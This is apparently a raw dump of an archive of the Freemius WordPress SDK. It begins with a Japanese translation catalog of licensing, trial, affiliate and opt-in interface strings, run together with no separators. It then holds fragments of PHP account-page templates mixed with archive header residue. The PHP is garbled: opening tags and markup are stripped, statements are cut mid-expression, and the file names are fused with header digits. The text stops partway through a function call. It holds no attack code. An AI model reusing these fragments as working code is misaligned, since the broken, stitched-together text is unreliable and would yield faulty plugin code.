activate the license on.APIAccountAccount DetailsActionsActivateActivate %sActivate %s PlanActivate Free VersionActivate LicenseActivate license on all pending sites.Activate license on all sites in the network.Activate this add-onActivatedAdd Ons for %sAdd Ons of module %sAdd another domainAdd-OnAdd-OnsAdd-on must be deployed to WordPress.org or Freemius.AddressAddress Line %dAffiliateAffiliationAfter your free %s, pay as little as %sAgree & Activate LicenseAll RequestsAll TypesAllow & ContinueAlternatively, you can skip it for now and activate the license later, in your %s's network-level Account page.AmountAn automated download and installation of %s (paid version) from %s will start in %s. If you would like to do it manually - click the cancellation button now.Anonymous feedbackApply on all pending sites.Apply on all sites in the network.Apply to become an affiliateAre you sure you want to delete all Freemius data?Are you sure you want to proceed?As we reserve 30 days for potential refunds, we only pay commissions that are older than 30 days.Auto installation only works for opted-in users.Auto renews in %sAutomatic InstallationAverage RatingAwesomeBecome an affiliateBillingBlockingBlog IDBodyBusiness nameCan't find your license key?CancelCancel InstallationCancel SubscriptionCancel TrialCancelledCancelling the trial will immediately block access to all premium features. Are you sure?Change LicenseChange OwnershipChange PlanCheckoutCityClear API CacheClear Updates TransientsClick here to use the plugin anonymouslyClick to see reviews that provided a rating of %sClick to view full-size screenshot %dClone resolution admin notice products list labelProductsCodeCompatible up toContactContact SupportContact UsContributorsCouldn't activate %s.CountryCron TypeDateDeactivateDeactivate LicenseDeactivating your license will block all premium features, but will enable activating the license on another site. Are you sure you want to proceed?DeactivationDebug LogDelegate to Site AdminsDelete All AccountsDetailsDon't have a license key?Donate to this pluginDownloadDownload %s VersionDownload the latest %s versionDownload the latest versionDownloadedDue to violation of our affiliation terms, we decided to temporarily block your affiliation account. If you have any questions, please contact support.During the update process we detected %d site(s) that are still pending license activation.During the update process we detected %s site(s) in the network that are still pending your attention.EmailEmail addressEndEnter the domain of your website or other websites from where you plan to promote the %s.Enter the email address you've used for the upgrade below and we will resend you the license key.ErrorError received from the server:ExpiredExpires in %sExtra DomainsExtra domains where you will be marketing the product from.FileFilterFor compliance with the WordPress.org guidelines, before we start the trial we ask that you opt in with your user and non-sensitive site information, allowing the %s to periodically send data to %s to check for version updates and to validate your trial.FreeFree TrialFree versionFreemius APIFreemius DebugFreemius SDK couldn't find the plugin's main file. Please contact sdk@freemius.com with the current error.Freemius StateFull nameFunctionGet commission for automated subscription renewals.Have a license key?Hey there, did you know that %s has an affiliate program? If you like the %s you can become our ambassador and earn some cash!How do you like %s so far? Test all our %s premium features with a %d-day free trial.How to upload and activate?How will you promote us?I can't pay for it anymoreI couldn't understand how to make it workI don't like to share my information with youI found a better %sI have upgraded my account but when I try to Sync the License, the plan remains %s.I no longer need the %sI only needed the %s for a short periodIDIf you click it, this decision will be delegated to the sites administrators.If you have a moment, please let us know why you are %sIf you would like to give up the ownership of the %s's account to %s click the Change Ownership button.If you'd like to use the %s on those sites, please enter your license key below and click the activation button.In %sInstall Free Version NowInstall Free Version Update NowInstall NowInstall Update NowInstalling plugin: %sInvalid module ID.InvoiceIs ActiveIt looks like the license could not be activated.It looks like the license deactivation failed.It looks like you are not in trial mode anymore so there's nothing to cancel :)It looks like you are still on the %s plan. If you did upgrade or change your plan, it's probably an issue on our side - sorry.It looks like your site currently doesn't have an active license.It seems like one of the authentication parameters is wrong. Update your Public Key, Secret Key & User ID, and try again.It's not what I was looking forJust letting you know that the add-ons information of %s is being pulled from an external server.KeyKindly share what didn't work so we can fix it for future users...Kindly tell us the reason so we can improve.LastLast UpdatedLast licenseLatest Free Version InstalledLatest Version InstalledLearn moreLengthLicenseLicense KeyLicense keyLicense key is empty.LifetimeLike the %s? Become our ambassador and earn cash ;-)Load DB OptionLocalhostLogLoggerMessageMethodMobile appsModuleModule PathModule TypeMore information about %sNameNetwork BlogNetwork UserNewNew Version AvailableNewer Free Version (%s) InstalledNewer Version (%s) InstalledNewsletterNextNoNo IDNo commitment for %s - cancel anytimeNo commitment for %s days - cancel anytime!No credit card requiredNo expirationNon-expiringNone of the %s's plans supports a trial period.O.KOnce your license expires you can still use the Free version but you will NOT have access to the %s features.Opt InOpt OutOtherOwner EmailOwner IDOwner NamePCI compliantPaid add-on must be deployed to Freemius.PayPal account email addressPaymentsPayouts are in USD and processed monthly via PayPal.PlanPlan %s do not exist, therefore, can't start a trial.Plan %s does not support a trial period.Plan IDPlease contact us herePlease contact us with the following message:Please download %s.Please enter the license key that you received in the email right after the purchase:Please feel free to provide any relevant website or social media statistics, e.g. monthly unique site visits, number of email subscribers, followers, etc. (we will keep this information confidential).Please follow these steps to complete the upgradePlease let us know if you'd like us to contact you for security & feature updates, educational content, and occasional offers:Please provide details on how you intend to promote %s (please be as specific as possible).Please provide your full name.PluginPlugin HomepagePlugin IDPlugin InstallPlugin installer section titleChangelogPlugin installer section titleDescriptionPlugin installer section titleFAQPlugin installer section titleFeatures & PricingPlugin installer section titleInstallationPlugin installer section titleOther NotesPlugin installer section titleReviewsPlugin is a "Serviceware" which means it does not have a premium code version.PluginsPlugins & Themes SyncPremiumPremium %s version was successfully activated.Premium add-on version already installed.Premium versionPremium version already active.PricingPrivacy PolicyProcess IDProductsProgram SummaryPromotion methodsProvincePublic KeyPurchase LicenseQuotaRe-send activation emailRefer new customers to our %s and earn %s commission on each successful sale you refer!Renew licenseRequestsRequires WordPress VersionResultSDKSDK PathSave %sScheduled CronsScreenshotsSearch by addressSecret KeySecure HTTPS %s page, running from an external domainSeems like we are having some temporary issue with your trial cancellation. Please try again in few minutes.Seems like you got the latest release.Select CountrySend License KeySet DB OptionSimulate Network UpgradeSingle Site LicenseSite IDSite successfully opted in.SitesSkip & %sSlugSocial media (Facebook, Twitter, etc.)Sorry for the inconvenience and we are here to help if you give us a chance.Sorry, we could not complete the email update. Another user with the same email is already registered.StartStart TrialStart my free %sStateSubmit & %sSubscriptionSupportSupport ForumSync Data From ServerTax / VAT IDTerms of ServiceThank you for applying for our affiliate program, unfortunately, we've decided at this point to reject your application. Please try again in 30 days.Thank you for applying for our affiliate program, we'll review your details during the next 14 days and will get back to you with further information.Thank you so much for using %s and its add-ons!Thank you so much for using %s!Thank you so much for using our products!Thank you!Thanks %s!Thanks for confirming the ownership change. An email was just sent to %s for final approval.The %s broke my siteThe %s didn't workThe %s didn't work as expectedThe %s is great, but I need specific feature that you don't supportThe %s is not workingThe %s suddenly stopped workingThe installation process has started and may take a few minutes to complete. Please wait until it is done - do not refresh this page.The remote plugin package does not contain a folder with the desired slug and renaming did not work.The upgrade of %s was successfully completed.ThemeTheme SwitchThemesThere is a new version of %s available.This plugin has not been marked as compatible with your version of WordPress.This plugin has not been tested with your current version of WordPress.TimestampTitleTotalTownTrialTypeUnable to connect to the filesystem. Please confirm your credentials.Unlimited LicensesUnlimited UpdatesUnlimited commissions.Up to %s SitesUpdateUpdate LicenseUpdates, announcements, marketing, no spamUpgradeUpload and activate the downloaded versionUsed to express elation, enthusiasm, or triumph (especially in electronic communication).W00tUser IDUsersValueVerification mail was just sent to %s. If you can't find it after 5 min, please check your spam box.VerifiedVerify EmailVersion %s was released.View detailsView paid featuresWarningWe can't see any active licenses associated with that email address, are you sure it's the right address?We couldn't find your email address in the system, are you sure it's the right address?We made a few tweaks to the %s, %sWe're excited to introduce the Freemius network-level integration.Website, email, and social media statistics (optional)What did you expect?What feature?What is your %s?What price would you feel comfortable paying?What you've been looking for?What's the %s's name?Where are you going to promote the %s?WordPress.org Plugin PageYesYes - %sYou already utilized a trial before.You are 1-click away from starting your %1$s-day free trial of the %2$s plan.You are all good!You are already running the %s in a trial mode.You are just one step away - %sYou do not have a valid license to access the premium version.You have a %s license.You have successfully updated your %s.You might have missed it, but you don't have to share any data and can just %s the opt-in.You've already opted-in to our usage-tracking, which helps us keep improving the %s.You've already opted-in to our usage-tracking, which helps us keep improving them.Your %s Add-on plan was successfully upgraded.Your %s free trial was successfully cancelled.Your account was successfully activated with the %s plan.Your affiliate application for %s has been accepted! Log in to your affiliate area at: %s.Your affiliation account was temporarily suspended.Your email has been successfully verified - you are AWESOME!Your free trial has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Your free trial has expired. You can still continue using all our free features.Your license has been cancelled. If you think it's a mistake, please contact support.Your license has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Your license has expired. You can still continue using all the %s features, but you'll need to renew your license to continue getting updates and support.Your license has expired. You can still continue using the free %s forever.Your license was successfully activated.Your license was successfully deactivated, you are back to the %s plan.Your name was successfully updated.Your plan was successfully changed to %s.Your plan was successfully upgraded.Your trial has been successfully started.ZIP / Postal Codea positive responseRight onactive add-onActiveaddonX cannot run without pluginY%s cannot run without %s.addonX cannot run...%s cannot run without the plugin.advance notice of something that will need attention.Heads upallowas 5 licenses left%s leftas activating pluginActivatingas annual periodyearas application program interfaceAPIas close a windowDismissas code debuggingDebuggingas congratulationsCongratsas connection blockedBlockedas connection was successfulConnectedas download latest versionDownload Latestas download latest versionDownload Latest Free Versionas every monthMonthlyas expiration dateExpirationas file/folder pathPathas in the process of sending an emailSending emailas monthly periodmoas once a yearAnnualas once a yearAnnuallyas once a yearOnceas product pricing planPlanas secret encryption key missingNo Secretas software development kit versionsSDK Versionsas software licenseLicenseas synchronizeSyncas synchronize licenseSync Licenseas the plugin authorAuthoras turned offOffas turned onOnbased on %scall to actionStart free trialclose a windowDismissclose windowDismissdeactivatingdelegatedo %sNOT%s send me security & feature updates, educational content and offers.e.g. Professional Plan%s Plane.g. billed monthlyBilled %se.g. the best productBestexclamationHeyexclamationOopsgreetingHey %s,interjection expressing joy or exuberanceYee-hawlike websitesSitesmillisecondsmsnot verifiednounPricenounPricingproduct versionVersionsecondssecsend me security & feature updates, educational content and offers.skipsomething somebody says when they are thinking about what you have just said.Hmmstart the trialswitchingthe latest %s version heretrial periodTrialverbDeleteverbDowngradeverbEditverbHideverbOpt InverbOpt OutverbPurchaseverbShowverbSkipverbUpdateverbUpgradex-ago%s agoProject-Id-Version: WordPress SDK Report-Msgid-Bugs-To: https://github.com/Freemius/wordpress-sdk/issues PO-Revision-Date: 2023-04-19 18:31+0530 Last-Translator: Tomohyco Tsunoda, 2018 Language-Team: Japanese (http://www.transifex.com/freemius/wordpress-sdk/language/ja/) Language: ja MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=1; plural=0; X-Poedit-Basepath: .. X-Poedit-KeywordsList: get_text_inline;fs_text_inline;fs_echo_inline;fs_esc_js_inline;fs_esc_attr_inline;fs_esc_attr_echo_inline;fs_esc_html_inline;fs_esc_html_echo_inline;get_text_x_inline:1,2c;fs_text_x_inline:1,2c;fs_echo_x_inline:1,2c;fs_esc_attr_x_inline:1,2c;fs_esc_js_x_inline:1,2c;fs_esc_js_echo_x_inline:1,2c;fs_esc_html_x_inline:1,2c;fs_esc_html_echo_x_inline:1,2c X-Poedit-SourceCharset: UTF-8 X-Generator: Poedit 3.2.2 X-Poedit-SearchPath-0: . X-Poedit-SearchPathExcluded-0: *.js すぐに "%s" 有効化を完了してください%s のアドオンの支払いが完了しました。%sインストール%sラインセス%s 前%sとそのアドオンカスタマーが新規ライセンスを購入するごとに%sのコミッションが発生します。%s の無料試用が正常にキャンセルされました。 アドオンはプレミアムなので、自動的に無効化されました。 将来使用したい場合は、ライセンスを購入する必要があります。%s はプレミアムのみのアドオンです。そのプラグインを有効化する前にライセンスを購入する必要があります。%s は新しいオーナーです。%sお支払いの最低金額%sまたはそれ以上%s評価%s評価%s秒%sスター%sスター%s回%s回%s初回の訪問後、クッキーをトラッキングして収益の可能性を最大化しましょう。%sの有料機能%sここをクリックして%s ライセンスを有効化したいサイトを選択してください。APIアカウントアカウント詳細アクション有効化%sを有効化する%s プランを有効化フリーバージョンを有効化ライセンスを有効化保留中のサイトすべてでライセンスを有効にする。ネットワーク上にあるすべてのサイトのライセンスを有効にする。このアドオンを有効化有効化済み%s のアドオンモジュールのアドオン%sドメイン名を追加するアドオンアドオンアドオンが WordPress.org か Freemius にデプロイされている必要があります。住所住所欄 %dアフィリエイトアフィリエイト無料の %s の後は、わずか %s だけお支払ください。同意してライセンスを有効化すべてのリクエストすべてのタイプ許可して続けるまたは、今すぐスキップして、%sのネットワークレベルのアカウントページでライセンスを有効にすることもできます。総額%sから %s (有料版) の自動ダウンロードと自動インストールが%sで開始します。手動で行う場合は今すぐにキャンセルボタンをクリックしてください。匿名のフィードバック保留中のサイトすべてに反映させる。ネットワーク上にあるすべてのサイトに対して反映させる。アフィリエイトに応募するほんとうに全ての Freemius データを削除しますか?本当に続行していいですか?30日間の返金期間があるため、コミッションのお支払いは30日以降になります。自動インストールはオプトインしたユーザのみで動作します。%s に自動更新自動インストールレーティングの平均すごい!アフィリエイトになる請求書ブロッキングブログ ID本文商号ライセンスキーは見つかりませんか?キャンセルインストールをキャンセルするサブスクリプションをキャンセルするトライアルをキャンセルキャンセルトライアルをキャンセルするとすぐにすべてのプレミアム機能へのアクセスができなくなります。本当に実行しますか?ライセンスを変更オーナーを変更プラン変更チェックアウト市API キャッシュをクリアアップデートのトランジエントをクリアーにする匿名でプラグインを使用するにはこちらをクリッククリックして%sの評価をしているレビューを観るクリックしてフルサイズのスクリーンショットを見る %dプロダクトコード互換性のある最新バージョン連絡サポートに連絡連絡コントリビューター%s を有効化できません。国Cron タイプ日付無効化ライセンスを無効化ライセンスを無効化するとすべてのプレミアム機能が使えなくなりますが、他のサイトでライセンスを有効にすることができるようになります。本当に実行しますか?無効化デバッグログサイト管理者に委任する全てのアカウントを削除詳細ライセンスキーをお持ちではありませんか?このプラグインに寄付するダウンロード%s バージョンをダウンロード最新の %s をダウンロード最新版をダウンロードダウンロード済みアフィリエイト規約違反により、アフィリエイトアカウントを一時的に凍結させていただきました。ご質問等がありましたら、サポートにお問い合わせください。アップデートの処理中に%dサイトがライセンスの有効化が保留中であることを検知しました。アップデートの処理中に、ネットワーク内の%dサイトが対応待ちになっていることを検知しました。Emailメールアドレス終了%sのプロモーションを行う予定のあなたのサイトや他のサイトのドメイン名を入力してください。アップグレードに使用したメールアドレスを下に入力してください。そうすれば、ライセンスキーをお送りします。エラーサーバーからエラーを受信しました。期限切れ%s で期間終了追加のドメイン名プロダクトフォームのマーケティングを行う追加ドメイン名。ファイルフィルターWordPress.orgのガイドラインに準拠するため、トライアルを開始する前に、ユーザーと重要でないサイト情報のオプトイン、更新の確認やトライアルの状態確認のために%sが%sに対して定期的にデータを送信する許可を得るように設定してください。無料フリートライアルフリーバージョンFreemius APIFreemius デバッグFreemius SDK がプラグインのメインファイルを見つけることができませんでした。現在のエラーを添えて sdk@freemius.com に連絡してください。Freemius ステータスフルネーム機能サブスクリプションの自動更新でコミッションを得ましょう。ライセンスキーはお持ちですか?こんにちは。%sにアフィリエイトプログラムがあるのはご存知でしたか? %sがお好きなら、私たちのアンバサダーになって報酬を得ましょう!%s はどうですか? 私たちの全ての %s のプレミアム機能をお試しください。アップロードと有効化の方法どのように我々をプロモートしますか?もう払うことができませんどうしたら動作するか分かりませんでした。自分の情報を共有したくありませんより良い %sを見つけましたアカウントをアップグレードしましたが、ライセンスを同期しようとするとプランが %s のままです。%sはもう不要です短期間だけ %sが 必要です。ID決定をサイトの管理者に委任するにはクリックしてください。お時間があれば、なぜ%sするのか理由を教えてください。%sの所有権を%sへ譲りたい場合は、所有権の変更ボタンをクリックしてください。これらのサイトで%sを使う場合は、ライセンスキーを入力し、アクティベーションボタンをクリックしてください。%s 内フリーバージョンを今すぐインストールフリーバージョンの更新を今すぐインストール今すぐインストール今すぐ更新をインストールインストール中プラグイン: %sモジュール ID が不正です請求書有効ライセンスの有効化ができませんでした。ライセンスの無効化ができませんでした。すでにトライアルモードではないようなので、キャンセルする必要はありません :)まだ %s プランのようです。もしアップグレードやプランの変更をしたのなら、こちらで何らかの問題が発生しているようです。申し訳ありません。サイトは有効なライセンスを持っていないようです。認証パラメータの1つが間違っているようです。 公開鍵、秘密鍵、ユーザーIDを更新して、もう一度お試しください。探していたものではありません%s のアドオンに関する情報は、外部サーバーから取得されます。キー将来のユーザーのために修正できるよう、何が動作しなかったのかどうか共有してください…改善できるよう、どうか理由を教えてください。最終最終更新最新のライセンス最新のフリーバージョンがインストールされました最新版がイストールされました詳細はこちら長さライセンスライセンスキーライセンスキーライセンスキーが空です。ライフタイム%sは気に入りましたか? アンバサダーになって報酬を得ましょう ;-)DB オプションを読み込むlocalhostグロガーメッセージメソッドモバイルアプリケーションモジュールモジュールのパスモジュールタイプ%s に関する詳細情報名前ネットワークブログネットワークユーザ新規新しいバージョンがあります新しいフリーバージョン (%s) がインストールされました新しいバージョン (%s) がインストールされましたニュースレター次いいえID がありません%s の拘束はありません。いつでもキャンセルできます。%s 日以内であればいつでもキャンセルできます。クレジットカードは必要ありません。有効期限なし期限のない%sのプランにはトライアル期間はありません。O.K一度ライセンスの期限が切れると、フリーバージョンの利用は可能ですが、%sの機能を使うことができなくなります。オプトインオプトアウトその他所有者の Emailオーナー ID所有者名PCI コンプライアント有料アドオンは Freemius にデプロイされている必要があります。PayPal アカウントのメールアドレス支払いお支払いは USD かつ PayPal 経由で毎月行われます。プラン%s プランは存在しないため、試用を開始できません。%s プランにはトライアル期間はありません。プラン IDこちらで私たちに連絡をとってください。以下のメッセージとともに私たちに連絡をください。%s をダウンロードしてください。購入後すぐにメールで受け取ったライセンスキーを入力してください:関係のあるウェブサイトやソーシャルメディアの統計を提供してください。例: サイトの月間訪問者数、Emailの購読者数、フォロワー数等 (機密情報として取り扱います)アップグレードを完了するには以下の手順を完了させてください。セキュリティや機能のアップデート、学習用用コンテンツ、およびオファーについてお問い合わせを希望される場合は、お知らせください。どのように%sをプロモートするつもりなのか、詳細をお知らせください (できるだけ具体的にお願いします)フルネームを入力してください。プラグインプラグインのホームページプラグイン IDプラグインのインストール変更履歴説明FAQ機能 & 料金インストールその他の記述レビュープラグインはプレミアムコードバージョンのない「サービスウェア」です。プラグインプラグインとテーマを同期プレミアムプレミアムバージョンの %sは有効化に成功しました。プレミアムアドオンバージョンはすでにインストール済みです。プレミアムバージョンプレミアムバージョンはすでに有効になっています。料金表プライバシーポリシープロセス IDプロダクトプログラム概要プロモーション方法県・州・省公開鍵ライセンスを購入クォータ有効化メールを再送信新規カスタマーに私たちの%sを紹介して、売り上げごとに%sのコミッションを得ましょうライセンスを更新リクエスト数必要な WordPress のバージョン結果SDKSDK のパス%s を保存スケジュール Cronスクリーンショット住所で検索する秘密鍵外部ドメインで実行中のセキュアな HTTPS %sページトライアルのキャンセルに一時的な問題がありました。数分後に再度お試しください。最新版を取得できました。国を選択ライセンスキーを送信DB オプションを設定するネットワークアップグレードをシミュレートするシングルサイトライセンスサイト IDサイトのオプトインに成功しました。サイト数スキップと%sスラッグソーシャルメディア(Facebook、Twitter、その他)ご迷惑をおかけしてすいません。もし機会をいただけたらお手伝いをします。メールアドレスのアップデートを完了できませんでした。他のユーザーがすでに同じメールアドレスで登録しているようです。開始トライアルを開始無料の %s を開始州送信と%sサブスクリプションサポートサポートフォーラムサーバーからのデータを同期税金 / VAT ID利用規約アフィリエイトアカウントに応募いただきありがとうございます。残念ながら現時点では申請を受理することができませんでした。30日後に改めてお申込みください。アフィリエイトプログラムに応募いただきありがとうございます。14日以内にお申し込み詳細をレビューし、改めてご連絡いたします。%sとアドオンのご利用ありがとうございます!%sのご利用ありがとうございます!プロダクトのご利用ありがとうございます!ありがとうございます!ありがとう $s さん!所有権の変更を確認していただきありがとうございます。 %s に承認メールが送信されました。%s の影響でサイトを崩れました%s が動作しませんでした%sが期待通りに動きませんでした %s は素晴らしいのですが、サポートされていないある機能が必要です%s が動作していません%s の動作が突然停止しましたインストールプロセスが開始され、数分で完了します。完了までしばらくお待ちください。ページのリフレッシュなどは行わないでください。リモートプラグインパッケージには、目的のスラッグを含むフォルダが含まれていないため、リねームが機能しませんでした。%s のアップグレードが完了しました。テーマテーマ変更テーマ%sの入手可能な新しいバージョンがありますこのプラグインはインストールされた WordPress のバージョンに互換性がありません。このプラグインはインストールされた WordPress のバージョンでは検証されていません。タイムスタンプタイトルトータル町トライアルタイプファイルシステムに接続できません。視覚情報を確認してください。無制限ライセンス無制限のアップデート無制限のコミッション。%sサイトまで更新ライセンスを更新更新、発表、マーケティング、スパムなしアップグレードダウンロードしたバージョンをアップロードして有効化やったーユーザー IDユーザー値%s に確認メールを送信しました。もし5分以内にそれが届かない場合、迷惑メールボックスを確認してください。認証済み認証メールバージョン %s をリリースしました。詳細を表示有料の機能を表示する警告メールアドレスに関連付けられた有効なライセンスが見つかりません。メールアドレスが正しいか確認してください。システムではメールアドレスを見つけることができませんでした。メールアドレスが正しいか確認してください。プラグインを微調整します、 %s, %sFreeminus ネットワークレベルのインテグレーションをご紹介できることに興奮しています。ウェブサイト、Email またはソーシャルメディアの統計 (オプション)何を期待していましたか?何の機能ですか?自分の %s はなんですか? 支払ってもよいと思う価格はいくらですか?探していたのは何ですか?%sの名前は何ですか?%sのプロモーションを行うサイトはどこですか?WordPress.org のプラグインページはいはい以前すでに試用版を利用しました。%2$s プランの%1$s日間のフリートライアルを開始するまであとワンクリックです。すべて完璧です!すでに%sをトライアルモードで利用中です。もうあとわずかです - %sプレミアムバージョンにアクセスできる有効なライセンス持っていません。%s ライセンスを持っています。%s のアップデートが成功しました。見逃していたかもしれませんが、どんな情報も共有する必要はなく、オプトインを $s することができます。 %sの改善に役立つ使用状況のトラッキングにすでにオプトインしています。プロダクトの改善に役立つ使用状況のトラッキングにすでにオプトインしています。%s のアドオンのプランのアップグレードが完了しました。%s のフリートライアルはキャンセルされました。アカウントが %s プランで有効化できました。%sのアフィリエイト申請は受理されました! 次のリンクからアフィリエイトエリアにログインしてください:%sアフィリエイトアカウントは一時的に停止されました。あなたのメールアドレスの承認が完了しました。すごい!フリートライアル期間が終了しました。%1$s %3$sに邪魔されずに利用を継続するには,今すぐ %2$s のアップグレードを行ってください。フリートライアル期間が終了しました。無料で使える機能は引き続き利用可能です。ライセンスはキャンセルされました。もしそれが間違いだと思うならサポートに連絡してください。ライセンスの有効期限が切れました。 %1$s %3$sに邪魔されずに利用を継続するには,今すぐ%2$sアップグレードを行ってください。ライセンスは有効期限がきれました。%s の機能を引き続き利用することができます。ただし、アップデートやサポートをうけるにはライセンスをアップデートする必要があります。ライセンスの有効期限が切れました。無料バージョンの%s は引き続き利用できます。ライセンスの有効化が成功しました。ライセンスの無効化が完了しました。%s プランに戻りました。名前のアップデートが成功しました。プランの %s への変更が成功しました。プランのアップグレードが成功しました。トライアル版の利用を開始しました。ZIP / 郵便番号そうだ有効%s は、%s が無いと実行することができません。%s は、プラグインが無いと実行することができません。警告許可あと %s有効化中年API却下デバッグおめでとうブロック接続最新版をダウンロード最新のフリーバージョンをダウンロード月期限切れパスメール送信中月年次毎年一度プラン秘密鍵がありませんSDK バージョンライセンス同期ライセンスを同期作者オフオン%sを基にフリートライアルを開始却下却下無効化中代表セキュリティと機能のアップデート、学習用コンテンツやオファーを%s送らないでください%s。%s プラン%s への請求ベストヘイおっとおおい %s さん、ヤッホーサイト数ms未認証料金料金表バージョン秒セキュリティと機能のアップデート、学習用コンテンツやオファーを送ってください。スキップふむトライアルを開始変更中最新の %s バージョンはこちらです。トライアル削除ダウングレード編集非表示オプトインオプトアウト購入表示スキップ更新アップグレード%s 前vendor/freemius/templates/account/partials/index.php000064400000000127147600365160016761 0ustar00_get_subscription( $license->id ) : null; $has_active_subscription = ( is_object( $license_subscription ) && $license_subscription->is_active() ); $button_id = "fs_disconnect_button_{$fs->get_id()}"; $website_link = sprintf( '%s', fs_strip_url_protocol( untrailingslashit( Freemius::get_unfiltered_site_url() ) ) ); ?>
                  esc_html_inline( 'Disconnect', 'disconnect' ) ?>
                  vendor/freemius/templates/account/partials/deactivate-license-button.php000064400000002507147600365160022720 0ustar00
                  vendor/freemius/templates/account/partials/site.php000064400000050366147600365160016630 0ustar00get_slug(); $site = $VARS['site']; $main_license = $VARS['license']; $is_data_debug_mode = $fs->is_data_debug_mode(); $is_whitelabeled = $fs->is_whitelabeled(); $has_paid_plan = $fs->has_paid_plan(); $is_premium = $fs->is_premium(); $main_user = $VARS['user']; $blog_id = $site['blog_id']; $install = $VARS['install']; $is_registered = ! empty( $install ); $license = null; $trial_plan = $fs->get_trial_plan(); $free_text = fs_text_inline( 'Free', 'free', $slug ); if ( $is_whitelabeled && is_object( $install ) && $fs->is_delegated_connection( $blog_id ) ) { $is_whitelabeled = $fs->is_whitelabeled( true, $blog_id ); } ?> data-install-id="id ?>"> id ?>
                  $fs, 'slug' => $slug, 'blog_id' => $blog_id, 'class' => 'button-small', ); $license = null; if ( $is_registered ) { $view_params['install_id'] = $install->id; $view_params['is_localhost'] = $install->is_localhost(); $has_license = FS_Plugin_License::is_valid_id( $install->license_id ); $license = $has_license ? $fs->_get_license_by_id( $install->license_id ) : null; } else { $view_params['is_localhost'] = FS_Site::is_localhost_by_address( $site['url'] ); } if ( ! $is_whitelabeled ) { if ( is_object( $license ) ) { $view_params['license'] = $license; // Show license deactivation button. fs_require_template( 'account/partials/deactivate-license-button.php', $view_params ); } else { if ( is_object( $main_license ) && $main_license->can_activate( $view_params['is_localhost'] ) ) { // Main license is available for activation. $available_license = $main_license; } else { // Try to find any available license for activation. $available_license = $fs->_get_available_premium_license( $view_params['is_localhost'] ); } if ( is_object( $available_license ) ) { $premium_plan = $fs->_get_plan_by_id( $available_license->plan_id ); $view_params['license'] = $available_license; $view_params['class'] .= ' button-primary'; $view_params['plan'] = $premium_plan; fs_require_template( 'account/partials/activate-license-button.php', $view_params ); } } } } ?> is_trial() ) { if ( is_object( $trial_plan ) && $trial_plan->id == $install->trial_plan_id ) { $plan_title = is_string( $trial_plan->name ) ? strtoupper( $trial_plan->title ) : fs_text_inline( 'Trial', 'trial', $slug ); } else { $plan_title = fs_text_inline( 'Trial', 'trial', $slug ); } } else { $plan = $fs->_get_plan_by_id( $install->plan_id ); $plan_title = strtoupper( is_string( $plan->title ) ? $plan->title : strtoupper( $free_text ) ); } } ?> > user_id != $main_user->id ) : ?> user_id ) ?> > > > > > > id != $license->id ) : ?> _get_subscription( $license->id ) ?> is_lifetime() && is_object( $subscription ) ) : ?> > is_active(); $renews_in_text = fs_text_inline( 'Auto renews in %s', 'renews-in', $slug ); /* translators: %s: Time period (e.g. Expires in "2 months") */ $expires_in_text = fs_text_inline( 'Expires in %s', 'expires-in', $slug ); ?>
                  : license_id ) ) : ?> is_homepage_url_tracking_allowed( $blog_id ) ?>
                  id}", ':' ) ) ?>
                  : get_name() ) ?>
                  : email ) ?>
                  : id ?>
                  : public_key ) ?>
                  : secret_key ) ?>
                  : get_html_escaped_masked_secret_key() ?>
                  : id ?> - billing_cycle ? _fs_text_inline( 'Annual', 'annual', $slug ) : _fs_text_inline( 'Monthly', 'monthly', $slug ) ); ?> is_first_payment_pending() ) : ?> is_first_payment_pending() ) : ?> expiration ) ); $downgrade_confirmation_message = sprintf( $downgrade_x_confirm_text, ( $fs->is_only_premium() ? $cancelling_subscription_text : $downgrading_plan_text ), $plan->title, $human_readable_license_expiration ); $after_downgrade_message = ! $license->is_block_features ? sprintf( $after_downgrade_non_blocking_text, $plan->title, $fs->get_module_label( true ) ) : sprintf( $after_downgrade_blocking_text, $plan->title ); ?>
                  vendor/freemius/templates/account/partials/addon.php000064400000053441147600365160016746 0ustar00get_slug(); $fs_blog_id = $VARS['fs_blog_id']; $active_plugins_directories_map = $VARS['active_plugins_directories_map']; $addon_info = $VARS['addon_info']; $is_addon_activated = $fs->is_addon_activated( $addon_id ); $is_addon_connected = $addon_info['is_connected']; $is_addon_installed = $VARS['is_addon_installed']; $fs_addon = ( $is_addon_connected && $is_addon_installed ) ? freemius( $addon_id ) : false; // Aliases. $download_latest_text = fs_text_x_inline( 'Download Latest', 'as download latest version', 'download-latest', $slug ); $downgrading_plan_text = fs_text_inline( 'Downgrading your plan', 'downgrading-plan', $slug ); $cancelling_subscription_text = fs_text_inline( 'Cancelling the subscription', 'cancelling-subscription', $slug ); /* translators: %1$s: Either 'Downgrading your plan' or 'Cancelling the subscription' */ $downgrade_x_confirm_text = fs_text_inline( '%1$s will immediately stop all future recurring payments and your %s plan license will expire in %s.', 'downgrade-x-confirm', $slug ); $prices_increase_text = fs_text_inline( 'Please note that we will not be able to grandfather outdated pricing for renewals/new subscriptions after a cancellation. If you choose to renew the subscription manually in the future, after a price increase, which typically occurs once a year, you will be charged the updated price.', 'pricing-increase-warning', $slug ); $cancel_trial_confirm_text = fs_text_inline( 'Cancelling the trial will immediately block access to all premium features. Are you sure?', 'cancel-trial-confirm', $slug ); $after_downgrade_non_blocking_text = fs_text_inline( 'You can still enjoy all %s features but you will not have access to %s security & feature updates, nor support.', 'after-downgrade-non-blocking', $slug ); $after_downgrade_blocking_text = fs_text_inline( 'Once your license expires you can still use the Free version but you will NOT have access to the %s features.', 'after-downgrade-blocking', $slug ); /* translators: %s: Plan title (e.g. "Professional") */ $activate_plan_text = fs_text_inline( 'Activate %s Plan', 'activate-x-plan', $slug ); $version_text = fs_text_x_inline( 'Version', 'product version', 'version', $slug ); /* translators: %s: Time period (e.g. Auto renews in "2 months") */ $renews_in_text = fs_text_inline( 'Auto renews in %s', 'renews-in', $slug ); /* translators: %s: Time period (e.g. Expires in "2 months") */ $expires_in_text = fs_text_inline( 'Expires in %s', 'expires-in', $slug ); $cancel_trial_text = fs_text_inline( 'Cancel Trial', 'cancel-trial', $slug ); $change_plan_text = fs_text_inline( 'Change Plan', 'change-plan', $slug ); $upgrade_text = fs_text_x_inline( 'Upgrade', 'verb', 'upgrade', $slug ); $addons_text = fs_text_inline( 'Add-Ons', 'add-ons', $slug ); $downgrade_text = fs_text_x_inline( 'Downgrade', 'verb', 